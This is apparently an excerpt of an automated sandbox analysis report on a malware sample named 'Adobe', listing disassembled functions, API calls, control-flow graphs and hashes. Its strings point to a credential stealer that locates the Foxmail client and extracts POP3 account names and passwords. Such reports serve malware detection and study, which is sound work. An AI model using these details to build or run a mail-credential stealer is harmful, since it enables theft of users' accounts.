                                                                                                                                • Part of subcall function 100010F1: lstrlenW.KERNEL32(?,?,?,?,?,?,?,00000002,00000000), ref: 1000116D
                                                                                                                                • Part of subcall function 100010F1: lstrlenW.KERNEL32(?,?,?,?,?,?,?,00000002,00000000), ref: 1000117C
                                                                                                                                • Part of subcall function 100010F1: FindFirstFileW.KERNEL32(?,?,?,?,?,?,?,?,00000002,00000000), ref: 10001193
                                                                                                                                • Part of subcall function 100010F1: FindNextFileW.KERNELBASE(00000000,00000010), ref: 100011D0
                                                                                                                                • Part of subcall function 100010F1: FindClose.KERNEL32(00000000), ref: 100011DB
                                                                                                                              • lstrlenW.KERNEL32(?), ref: 100014C5
                                                                                                                              • lstrlenW.KERNEL32(?), ref: 100014E0
                                                                                                                              • lstrlenW.KERNEL32(?,?), ref: 1000150F
                                                                                                                              • lstrcatW.KERNEL32(00000000), ref: 10001521
                                                                                                                              • lstrlenW.KERNEL32(?,?), ref: 10001547
                                                                                                                              • lstrcatW.KERNEL32(00000000), ref: 10001553
                                                                                                                              • lstrlenW.KERNEL32(?,?), ref: 10001579
                                                                                                                              • lstrcatW.KERNEL32(00000000), ref: 10001585
                                                                                                                              • lstrlenW.KERNEL32(?,?), ref: 100015AB
                                                                                                                              • lstrcatW.KERNEL32(00000000), ref: 100015B7
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000004.00000002.4179715263.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                                              • Associated: 00000004.00000002.4179685311.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                              • Associated: 00000004.00000002.4179715263.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_4_2_10000000_Adobe.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: lstrlen$lstrcat$Find$File$CloseEnvironmentFirstNextVariable
                                                                                                                              • String ID: )$Foxmail$ProgramFiles
                                                                                                                              • API String ID: 672098462-2938083778
                                                                                                                              • Opcode ID: 70009fe3950369d2bec9de66e6564922956a7fdd4521fcb7cc54e78474496dcb
                                                                                                                              • Instruction ID: 44b728d421a24f1832cbc0053e0d9d9aefaca4d51113d01ad6b93c48f87fe4b0
                                                                                                                              • Opcode Fuzzy Hash: 70009fe3950369d2bec9de66e6564922956a7fdd4521fcb7cc54e78474496dcb
                                                                                                                              • Instruction Fuzzy Hash: 4081A475A40358A9EB30D7A0DC86FDE7379EF84740F00059AF608EB191EBB16AC5CB95
                                                                                                                              Function 1000C7E6 Relevance: 9.1, APIs: 6, Instructions: 65libraryloaderCOMMON
                                                                                                                              Download Yara Rule

                                                                                                                              Control-flow Graph

                                                                                                                              APIs
                                                                                                                              • GetModuleHandleA.KERNEL32(1000C7DD), ref: 1000C7E6
                                                                                                                              • GetModuleHandleA.KERNEL32(?,1000C7DD), ref: 1000C838
                                                                                                                              • GetProcAddress.KERNEL32(00000000,00000000), ref: 1000C860
                                                                                                                                • Part of subcall function 1000C803: GetProcAddress.KERNEL32(00000000,1000C7F4), ref: 1000C804
                                                                                                                                • Part of subcall function 1000C803: VirtualProtect.KERNEL32(?,00000078,00000004,?,00000000,00000000,1000C7F4,1000C7DD), ref: 1000C816
                                                                                                                                • Part of subcall function 1000C803: VirtualProtect.KERNEL32(?,00000078,?,?,?,00000000,00000000,1000C7F4,1000C7DD), ref: 1000C82A
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000004.00000002.4179715263.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                                              • Associated: 00000004.00000002.4179685311.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                              • Associated: 00000004.00000002.4179715263.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_4_2_10000000_Adobe.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: AddressHandleModuleProcProtectVirtual
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 2099061454-0
                                                                                                                              • Opcode ID: 18a205e926d3f8c1bd8ceb8f3c836a0ea39c7540959748e6d39d93322aab4e9f
                                                                                                                              • Instruction ID: 210348daefc771ff09e919cc38fdfa0d839c8297c2798a32150270056baeab90
                                                                                                                              • Opcode Fuzzy Hash: 18a205e926d3f8c1bd8ceb8f3c836a0ea39c7540959748e6d39d93322aab4e9f
                                                                                                                              • Instruction Fuzzy Hash: 0301D22094574A38BA51D7B40C06EBA5FD8DB176E0B24D756F1408619BDDA08906C3AE
                                                                                                                              Function 1000C7A7 Relevance: 7.6, APIs: 5, Instructions: 100libraryloaderCOMMON
                                                                                                                              Download Yara Rule

                                                                                                                              Control-flow Graph

                                                                                                                              • Executed
                                                                                                                              • Not Executed
                                                                                                                              control_flow_graph 79 1000c7a7-1000c7bc 80 1000c82d 79->80 81 1000c7be-1000c7c6 79->81 83 1000c82f-1000c833 80->83 81->80 82 1000c7c8-1000c7f6 call 1000c7e6 81->82 91 1000c7f8 82->91 92 1000c86c-1000c86e 82->92 85 1000c872 call 1000c877 83->85 86 1000c835-1000c83d GetModuleHandleA 83->86 89 1000c83f-1000c847 86->89 89->89 90 1000c849-1000c84c 89->90 90->83 93 1000c84e-1000c850 90->93 96 1000c7fa-1000c7fe 91->96 97 1000c85b-1000c85e 91->97 94 1000c870 92->94 95 1000c866-1000c86b 92->95 98 1000c852-1000c854 93->98 99 1000c856-1000c85a 93->99 94->90 95->92 102 1000c865 96->102 103 1000c800-1000c80b GetProcAddress 96->103 100 1000c85f-1000c860 GetProcAddress 97->100 98->100 99->97 100->102 102->95 103->80 104 1000c80d-1000c81a VirtualProtect 103->104 105 1000c82c 104->105 106 1000c81c-1000c82a VirtualProtect 104->106 105->80 106->105
                                                                                                                              APIs
                                                                                                                              • GetModuleHandleA.KERNEL32(?,1000C7DD), ref: 1000C838
                                                                                                                              • GetProcAddress.KERNEL32(00000000,00000000), ref: 1000C860
                                                                                                                                • Part of subcall function 1000C7E6: GetModuleHandleA.KERNEL32(1000C7DD), ref: 1000C7E6
                                                                                                                                • Part of subcall function 1000C7E6: GetProcAddress.KERNEL32(00000000,1000C7F4), ref: 1000C804
                                                                                                                                • Part of subcall function 1000C7E6: VirtualProtect.KERNEL32(?,00000078,00000004,?,00000000,00000000,1000C7F4,1000C7DD), ref: 1000C816
                                                                                                                                • Part of subcall function 1000C7E6: VirtualProtect.KERNEL32(?,00000078,?,?,?,00000000,00000000,1000C7F4,1000C7DD), ref: 1000C82A
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000004.00000002.4179715263.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                                              • Associated: 00000004.00000002.4179685311.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                              • Associated: 00000004.00000002.4179715263.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_4_2_10000000_Adobe.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: AddressHandleModuleProcProtectVirtual
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 2099061454-0
                                                                                                                              • Opcode ID: 731a18adefd9f684ec9123585341c8004b06a9316977ab842e52f252e525921e
                                                                                                                              • Instruction ID: abaa11d5974e3e1b05dfd32ec0224f7ddc3d76465740e120717e363e7a178845
                                                                                                                              • Opcode Fuzzy Hash: 731a18adefd9f684ec9123585341c8004b06a9316977ab842e52f252e525921e
                                                                                                                              • Instruction Fuzzy Hash: A921382140838A6FF711CBB44C05FA67FD8DB172E0F198696E040CB147DDA89845C3AE
                                                                                                                              Function 1000C803 Relevance: 7.6, APIs: 5, Instructions: 54librarymemoryloaderCOMMON
                                                                                                                              Download Yara Rule

                                                                                                                              Control-flow Graph

                                                                                                                              • Executed
                                                                                                                              • Not Executed
                                                                                                                              control_flow_graph 107 1000c803-1000c80b GetProcAddress 108 1000c82d 107->108 109 1000c80d-1000c81a VirtualProtect 107->109 112 1000c82f-1000c833 108->112 110 1000c82c 109->110 111 1000c81c-1000c82a VirtualProtect 109->111 110->108 111->110 113 1000c872 call 1000c877 112->113 114 1000c835-1000c83d GetModuleHandleA 112->114 116 1000c83f-1000c847 114->116 116->116 117 1000c849-1000c84c 116->117 117->112 118 1000c84e-1000c850 117->118 119 1000c852-1000c854 118->119 120 1000c856-1000c85e 118->120 121 1000c85f-1000c865 GetProcAddress 119->121 120->121 124 1000c866-1000c86e 121->124 126 1000c870 124->126 126->117
                                                                                                                              APIs
                                                                                                                              • GetProcAddress.KERNEL32(00000000,1000C7F4), ref: 1000C804
                                                                                                                              • VirtualProtect.KERNEL32(?,00000078,00000004,?,00000000,00000000,1000C7F4,1000C7DD), ref: 1000C816
                                                                                                                              • VirtualProtect.KERNEL32(?,00000078,?,?,?,00000000,00000000,1000C7F4,1000C7DD), ref: 1000C82A
                                                                                                                              • GetModuleHandleA.KERNEL32(?,1000C7DD), ref: 1000C838
                                                                                                                              • GetProcAddress.KERNEL32(00000000,00000000), ref: 1000C860
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000004.00000002.4179715263.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                                              • Associated: 00000004.00000002.4179685311.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                              • Associated: 00000004.00000002.4179715263.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_4_2_10000000_Adobe.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: AddressProcProtectVirtual$HandleModule
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 2152742572-0
                                                                                                                              • Opcode ID: f81dfe0726a7f77e278230a0c4648d339da411b55a21776b762b5ef698216b3c
                                                                                                                              • Instruction ID: 9138b94afbcae90e12a8614b592989542e7cb6e8cba5f1d72008c399686a5f74
                                                                                                                              • Opcode Fuzzy Hash: f81dfe0726a7f77e278230a0c4648d339da411b55a21776b762b5ef698216b3c
                                                                                                                              • Instruction Fuzzy Hash: B7F0C2619497893CFA21C7B40C45EBA5FCCCB276E0B249A56F600C718BDCA5890693FE

                                                                                                                              Non-executed Functions

                                                                                                                              Function 1000173A Relevance: 30.0, APIs: 5, Strings: 12, Instructions: 210COMMON
                                                                                                                              Download Yara Rule

                                                                                                                              Control-flow Graph

                                                                                                                              • Executed
                                                                                                                              • Not Executed
                                                                                                                              control_flow_graph 136 1000173a-100017fe call 1000c030 call 10002c40 * 2 143 10001803 call 10001cca 136->143 144 10001808-1000180c 143->144 145 10001812-10001816 144->145 146 100019ad-100019b1 144->146 145->146 147 1000181c-10001837 call 10001ede 145->147 150 1000183d-10001845 147->150 151 1000199f-100019ac call 10001ee7 * 2 147->151 152 10001982-10001985 150->152 153 1000184b-1000184e 150->153 151->146 155 10001995-10001999 152->155 156 10001987 152->156 153->152 157 10001854-10001881 call 100044b0 * 2 call 10001db7 153->157 155->150 155->151 159 1000198a-1000198d call 10002c40 156->159 170 10001887-1000189f call 100044b0 call 10001db7 157->170 171 1000193d-10001943 157->171 165 10001992 159->165 165->155 170->171 187 100018a5-100018a8 170->187 172 10001945-10001947 171->172 173 1000197e-10001980 171->173 172->173 175 10001949-1000194b 172->175 173->159 177 10001961-1000197c call 100016aa 175->177 178 1000194d-1000194f 175->178 177->165 180 10001951-10001953 178->180 181 10001955-10001957 178->181 180->177 180->181 184 10001959-1000195b 181->184 185 1000195d-1000195f 181->185 184->177 184->185 185->173 185->177 188 100018c4-100018dc call 100044b0 call 10001db7 187->188 189 100018aa-100018c2 call 100044b0 call 10001db7 187->189 188->155 198 100018e2-1000193b call 100016aa call 100015da call 10002c40 * 2 188->198 189->188 189->198 198->155
                                                                                                                              APIs
                                                                                                                                • Part of subcall function 10001CCA: CopyFileW.KERNEL32(?,?,00000000,?,?,?,?,?,?,00000000), ref: 10001D1B
                                                                                                                                • Part of subcall function 10001CCA: CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000003,00000080,00000000,?,?,00000000), ref: 10001D37
                                                                                                                                • Part of subcall function 10001CCA: DeleteFileW.KERNEL32(?,?,?,00000000,?,?,?,?,?,?,00000000), ref: 10001D4B
                                                                                                                              • _strlen.LIBCMT ref: 10001855
                                                                                                                              • _strlen.LIBCMT ref: 10001869
                                                                                                                              • _strlen.LIBCMT ref: 1000188B
                                                                                                                              • _strlen.LIBCMT ref: 100018AE
                                                                                                                              • _strlen.LIBCMT ref: 100018C8
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000004.00000002.4179715263.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                                              • Associated: 00000004.00000002.4179685311.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                              • Associated: 00000004.00000002.4179715263.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_4_2_10000000_Adobe.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: _strlen$File$CopyCreateDelete
                                                                                                                              • String ID: Acco$Acco$POP3$POP3$Pass$Pass$t$t$un$un$word$word
                                                                                                                              • API String ID: 3296212668-3023110444
                                                                                                                              • Opcode ID: 6f2763eb29f99e55b9fa1c4501e1124463a6139b8cfee53aa49ae728a3ea04e1
                                                                                                                              • Instruction ID: bb93a2ec4ecc4c0c7ac40ef0fbf5621e946fdf476ba73097d2750e43d9e064ca
                                                                                                                              • Opcode Fuzzy Hash: 6f2763eb29f99e55b9fa1c4501e1124463a6139b8cfee53aa49ae728a3ea04e1
                                                                                                                              • Instruction Fuzzy Hash: 69612475D04218ABFF11CBE4C851BDEB7F9EF45280F00409AE604A7299EF706A45CF96
                                                                                                                              Function 100019B2 Relevance: 26.5, APIs: 11, Strings: 4, Instructions: 218COMMON
                                                                                                                              Download Yara Rule

                                                                                                                              Control-flow Graph

                                                                                                                              APIs
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000004.00000002.4179715263.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                                              • Associated: 00000004.00000002.4179685311.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                              • Associated: 00000004.00000002.4179715263.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_4_2_10000000_Adobe.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: _strlen
                                                                                                                              • String ID: %m$~$Gon~$~F@7$~dra
                                                                                                                              • API String ID: 4218353326-230879103
                                                                                                                              • Opcode ID: 5313ffee17f5d615fcbb67a61029f9413697531bcd3fb870ba25ca75e457194f
                                                                                                                              • Instruction ID: 2a57ee3bda34e0ca62253b4f9cdd28a92c7aa5ebcaa9e167bfd7dd38749d7a78
                                                                                                                              • Opcode Fuzzy Hash: 5313ffee17f5d615fcbb67a61029f9413697531bcd3fb870ba25ca75e457194f
                                                                                                                              • Instruction Fuzzy Hash: 9371F5B5D002685BEF11DBB49895BDF7BFCDB05280F104096E644D7246EB74EB85CBA0
                                                                                                                              Function 10007CC2 Relevance: 19.6, APIs: 13, Instructions: 114COMMONLIBRARYCODE
                                                                                                                              Download Yara Rule

                                                                                                                              Control-flow Graph

                                                                                                                              • Executed
                                                                                                                              • Not Executed
                                                                                                                              control_flow_graph 276 10007cc2-10007cd6 277 10007d44-10007d4c 276->277 278 10007cd8-10007cdd 276->278 280 10007d93-10007dab call 10007e35 277->280 281 10007d4e-10007d51 277->281 278->277 279 10007cdf-10007ce4 278->279 279->277 282 10007ce6-10007ce9 279->282 291 10007dae-10007db5 280->291 281->280 284 10007d53-10007d90 call 1000571e * 4 281->284 282->277 285 10007ceb-10007cf3 282->285 284->280 289 10007cf5-10007cf8 285->289 290 10007d0d-10007d15 285->290 289->290 295 10007cfa-10007d0c call 1000571e call 100090ba 289->295 293 10007d17-10007d1a 290->293 294 10007d2f-10007d43 call 1000571e * 2 290->294 296 10007dd4-10007dd8 291->296 297 10007db7-10007dbb 291->297 293->294 299 10007d1c-10007d2e call 1000571e call 100091b8 293->299 294->277 295->290 300 10007df0-10007dfc 296->300 301 10007dda-10007ddf 296->301 304 10007dd1 297->304 305 10007dbd-10007dc0 297->305 299->294 300->291 311 10007dfe-10007e0b call 1000571e 300->311 308 10007de1-10007de4 301->308 309 10007ded 301->309 304->296 305->304 313 10007dc2-10007dd0 call 1000571e * 2 305->313 308->309 316 10007de6-10007dec call 1000571e 308->316 309->300 313->304 316->309
                                                                                                                              APIs
                                                                                                                              • ___free_lconv_mon.LIBCMT ref: 10007D06
                                                                                                                                • Part of subcall function 100090BA: _free.LIBCMT ref: 100090D7
                                                                                                                                • Part of subcall function 100090BA: _free.LIBCMT ref: 100090E9
                                                                                                                                • Part of subcall function 100090BA: _free.LIBCMT ref: 100090FB
                                                                                                                                • Part of subcall function 100090BA: _free.LIBCMT ref: 1000910D
                                                                                                                                • Part of subcall function 100090BA: _free.LIBCMT ref: 1000911F
                                                                                                                                • Part of subcall function 100090BA: _free.LIBCMT ref: 10009131
                                                                                                                                • Part of subcall function 100090BA: _free.LIBCMT ref: 10009143
                                                                                                                                • Part of subcall function 100090BA: _free.LIBCMT ref: 10009155
                                                                                                                                • Part of subcall function 100090BA: _free.LIBCMT ref: 10009167
                                                                                                                                • Part of subcall function 100090BA: _free.LIBCMT ref: 10009179
                                                                                                                                • Part of subcall function 100090BA: _free.LIBCMT ref: 1000918B
                                                                                                                                • Part of subcall function 100090BA: _free.LIBCMT ref: 1000919D
                                                                                                                                • Part of subcall function 100090BA: _free.LIBCMT ref: 100091AF
                                                                                                                              • _free.LIBCMT ref: 10007CFB
                                                                                                                                • Part of subcall function 1000571E: HeapFree.KERNEL32(00000000,00000000,?,1000924F,?,00000000,?,00000000,?,10009276,?,00000007,?,?,10007E5A,?), ref: 10005734
                                                                                                                                • Part of subcall function 1000571E: GetLastError.KERNEL32(?,?,1000924F,?,00000000,?,00000000,?,10009276,?,00000007,?,?,10007E5A,?,?), ref: 10005746
                                                                                                                              • _free.LIBCMT ref: 10007D1D
                                                                                                                              • _free.LIBCMT ref: 10007D32
                                                                                                                              • _free.LIBCMT ref: 10007D3D
                                                                                                                              • _free.LIBCMT ref: 10007D5F
                                                                                                                              • _free.LIBCMT ref: 10007D72
                                                                                                                              • _free.LIBCMT ref: 10007D80
                                                                                                                              • _free.LIBCMT ref: 10007D8B
                                                                                                                              • _free.LIBCMT ref: 10007DC3
                                                                                                                              • _free.LIBCMT ref: 10007DCA
                                                                                                                              • _free.LIBCMT ref: 10007DE7
                                                                                                                              • _free.LIBCMT ref: 10007DFF
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000004.00000002.4179715263.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                                              • Associated: 00000004.00000002.4179685311.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                              • Associated: 00000004.00000002.4179715263.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_4_2_10000000_Adobe.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: _free$ErrorFreeHeapLast___free_lconv_mon
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 161543041-0
                                                                                                                              • Opcode ID: 04f87de51616aa77c632626b63215b7c3e2981daeb02be256c48a4a07a0be686
                                                                                                                              • Instruction ID: 6de9b84f5b51ee4e35cbeb1ed48e08772f21b212059d2ac72beb9c863e9ed859
                                                                                                                              • Opcode Fuzzy Hash: 04f87de51616aa77c632626b63215b7c3e2981daeb02be256c48a4a07a0be686
                                                                                                                              • Instruction Fuzzy Hash: 90313931A04645EFFB21DA38E941B6A77FAFF002D1F11446AE84DDB159DE3ABC809B14
                                                                                                                              Function 100059D6 Relevance: 15.1, APIs: 10, Instructions: 54COMMON
                                                                                                                              Download Yara Rule

                                                                                                                              Control-flow Graph

                                                                                                                              APIs
                                                                                                                              • _free.LIBCMT ref: 100059EA
                                                                                                                                • Part of subcall function 1000571E: HeapFree.KERNEL32(00000000,00000000,?,1000924F,?,00000000,?,00000000,?,10009276,?,00000007,?,?,10007E5A,?), ref: 10005734
                                                                                                                                • Part of subcall function 1000571E: GetLastError.KERNEL32(?,?,1000924F,?,00000000,?,00000000,?,10009276,?,00000007,?,?,10007E5A,?,?), ref: 10005746
                                                                                                                              • _free.LIBCMT ref: 100059F6
                                                                                                                              • _free.LIBCMT ref: 10005A01
                                                                                                                              • _free.LIBCMT ref: 10005A0C
                                                                                                                              • _free.LIBCMT ref: 10005A17
                                                                                                                              • _free.LIBCMT ref: 10005A22
                                                                                                                              • _free.LIBCMT ref: 10005A2D
                                                                                                                              • _free.LIBCMT ref: 10005A38
                                                                                                                              • _free.LIBCMT ref: 10005A43
                                                                                                                              • _free.LIBCMT ref: 10005A51
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000004.00000002.4179715263.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                                              • Associated: 00000004.00000002.4179685311.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                              • Associated: 00000004.00000002.4179715263.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_4_2_10000000_Adobe.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: _free$ErrorFreeHeapLast
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 776569668-0
                                                                                                                              • Opcode ID: c98d8f3bae8e62c9802464aaca1a5f37d2e9bc397092d84fe88d11ffaa9aaf75
                                                                                                                              • Instruction ID: 60753d52f1e9cb5801f9add085180c5dd3fc305f79823ad6bc57240ee419c635
                                                                                                                              • Opcode Fuzzy Hash: c98d8f3bae8e62c9802464aaca1a5f37d2e9bc397092d84fe88d11ffaa9aaf75
                                                                                                                              • Instruction Fuzzy Hash: BE11B97E514548FFEB11DF58D842CDE3FA9EF04291B4540A1BD088F12ADA32EE50AB84
                                                                                                                              Function 10001CCA Relevance: 13.6, APIs: 9, Instructions: 84fileCOMMON
                                                                                                                              Download Yara Rule

                                                                                                                              Control-flow Graph

                                                                                                                              APIs
                                                                                                                              • CopyFileW.KERNEL32(?,?,00000000,?,?,?,?,?,?,00000000), ref: 10001D1B
                                                                                                                              • CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000003,00000080,00000000,?,?,00000000), ref: 10001D37
                                                                                                                              • DeleteFileW.KERNEL32(?,?,?,00000000,?,?,?,?,?,?,00000000), ref: 10001D4B
                                                                                                                              • GetFileSize.KERNEL32(00000000,00000000,?,?,?,00000000,?,?,?,?,?,?,00000000), ref: 10001D58
                                                                                                                              • ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000,?,?,00000000,?,?,?,?,?,?,00000000), ref: 10001D72
                                                                                                                              • CloseHandle.KERNEL32(00000000,?,?,00000000,?,?,?,?,?,?,00000000), ref: 10001D7D
                                                                                                                              • DeleteFileW.KERNEL32(?,?,?,00000000,?,?,?,?,?,?,00000000), ref: 10001D8A
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000004.00000002.4179715263.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                                              • Associated: 00000004.00000002.4179685311.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                              • Associated: 00000004.00000002.4179715263.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_4_2_10000000_Adobe.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: File$Delete$CloseCopyCreateHandleReadSize
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 1454806937-0
                                                                                                                              • Opcode ID: 95ffba8e0906de61fbf41533eef9bce15325b0b0370a179d90a4a5ca68fedbfa
                                                                                                                              • Instruction ID: 3114db45d92e83daf92c47a85baf70c14dd0292bf94a6379629bf72341f68b19
                                                                                                                              • Opcode Fuzzy Hash: 95ffba8e0906de61fbf41533eef9bce15325b0b0370a179d90a4a5ca68fedbfa
                                                                                                                              • Instruction Fuzzy Hash: 2221FCB594122CAFF710EBA08CCCFEF76ACEB08395F010566F515D2154D6709E458A70
                                                                                                                              Function 10009492 Relevance: 10.7, APIs: 7, Instructions: 152fileCOMMON
                                                                                                                              Download Yara Rule

                                                                                                                              Control-flow Graph

                                                                                                                              • Executed
                                                                                                                              • Not Executed
                                                                                                                              control_flow_graph 377 10009492-100094ef GetConsoleCP 378 10009632-10009644 call 10002ada 377->378 379 100094f5-10009511 377->379 381 10009513-1000952a 379->381 382 1000952c-1000953d call 10007c19 379->382 384 10009566-10009575 call 100079e6 381->384 389 10009563-10009565 382->389 390 1000953f-10009542 382->390 384->378 393 1000957b-1000959b WideCharToMultiByte 384->393 389->384 391 10009548-1000955a call 100079e6 390->391 392 10009609-10009628 390->392 391->378 399 10009560-10009561 391->399 392->378 393->378 395 100095a1-100095b7 WriteFile 393->395 397 100095b9-100095ca 395->397 398 1000962a-10009630 GetLastError 395->398 397->378 400 100095cc-100095d0 397->400 398->378 399->393 401 100095d2-100095f0 WriteFile 400->401 402 100095fe-10009601 400->402 401->398 404 100095f2-100095f6 401->404 402->379 403 10009607 402->403 403->378 404->378 405 100095f8-100095fb 404->405 405->402
                                                                                                                              APIs
                                                                                                                              • GetConsoleCP.KERNEL32 ref: 100094D4
                                                                                                                              • __fassign.LIBCMT ref: 1000954F
                                                                                                                              • __fassign.LIBCMT ref: 1000956A
                                                                                                                              • WideCharToMultiByte.KERNEL32(?,00000000,?,00000001,?,00000005,00000000,00000000), ref: 10009590
                                                                                                                              • WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 100095AF
                                                                                                                              • WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 100095E8
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000004.00000002.4179715263.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                                              • Associated: 00000004.00000002.4179685311.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                              • Associated: 00000004.00000002.4179715263.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_4_2_10000000_Adobe.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: FileWrite__fassign$ByteCharConsoleMultiWide
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 1324828854-0
                                                                                                                              • Opcode ID: c8cde1f94c5a3c187481f919a86e285046f284bf183baf255f965bcae4dd5098
                                                                                                                              • Instruction ID: 7b1e32e7ca62d622bc6abd4954a79b3a1191cf35157f5551c2bc05612337e78d
                                                                                                                              • Opcode Fuzzy Hash: c8cde1f94c5a3c187481f919a86e285046f284bf183baf255f965bcae4dd5098
                                                                                                                              • Instruction Fuzzy Hash: D7519271D00249AFEB10CFA4CC95BDEBBF8EF09350F15811AE955E7295D731AA41CB60
                                                                                                                              Function 10003370 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 117COMMON
                                                                                                                              Download Yara Rule

                                                                                                                              Control-flow Graph

                                                                                                                              • Executed
                                                                                                                              • Not Executed
                                                                                                                              control_flow_graph 406 10003370-100033b5 call 10003330 call 100037a7 411 10003416-10003419 406->411 412 100033b7-100033c9 406->412 413 10003439-10003442 411->413 415 1000341b-10003428 call 10003790 411->415 412->413 414 100033cb 412->414 416 100033d0-100033e7 414->416 418 1000342d-10003436 call 10003330 415->418 419 100033e9-100033f7 call 10003740 416->419 420 100033fd 416->420 418->413 427 100033f9 419->427 428 1000340d-10003414 419->428 423 10003400-10003405 420->423 423->416 426 10003407-10003409 423->426 426->413 429 1000340b 426->429 430 10003443-1000344c 427->430 431 100033fb 427->431 428->418 429->418 432 10003486-10003496 call 10003774 430->432 433 1000344e-10003455 430->433 431->423 438 10003498-100034a7 call 10003790 432->438 439 100034aa-100034c6 call 10003330 call 10003758 432->439 433->432 435 10003457-10003466 call 1000bbe0 433->435 443 10003483 435->443 444 10003468-10003480 435->444 438->439 443->432 444->443
                                                                                                                              APIs
                                                                                                                              • _ValidateLocalCookies.LIBCMT ref: 1000339B
                                                                                                                              • ___except_validate_context_record.LIBVCRUNTIME ref: 100033A3
                                                                                                                              • _ValidateLocalCookies.LIBCMT ref: 10003431
                                                                                                                              • __IsNonwritableInCurrentImage.LIBCMT ref: 1000345C
                                                                                                                              • _ValidateLocalCookies.LIBCMT ref: 100034B1
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000004.00000002.4179715263.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                                              • Associated: 00000004.00000002.4179685311.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                              • Associated: 00000004.00000002.4179715263.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
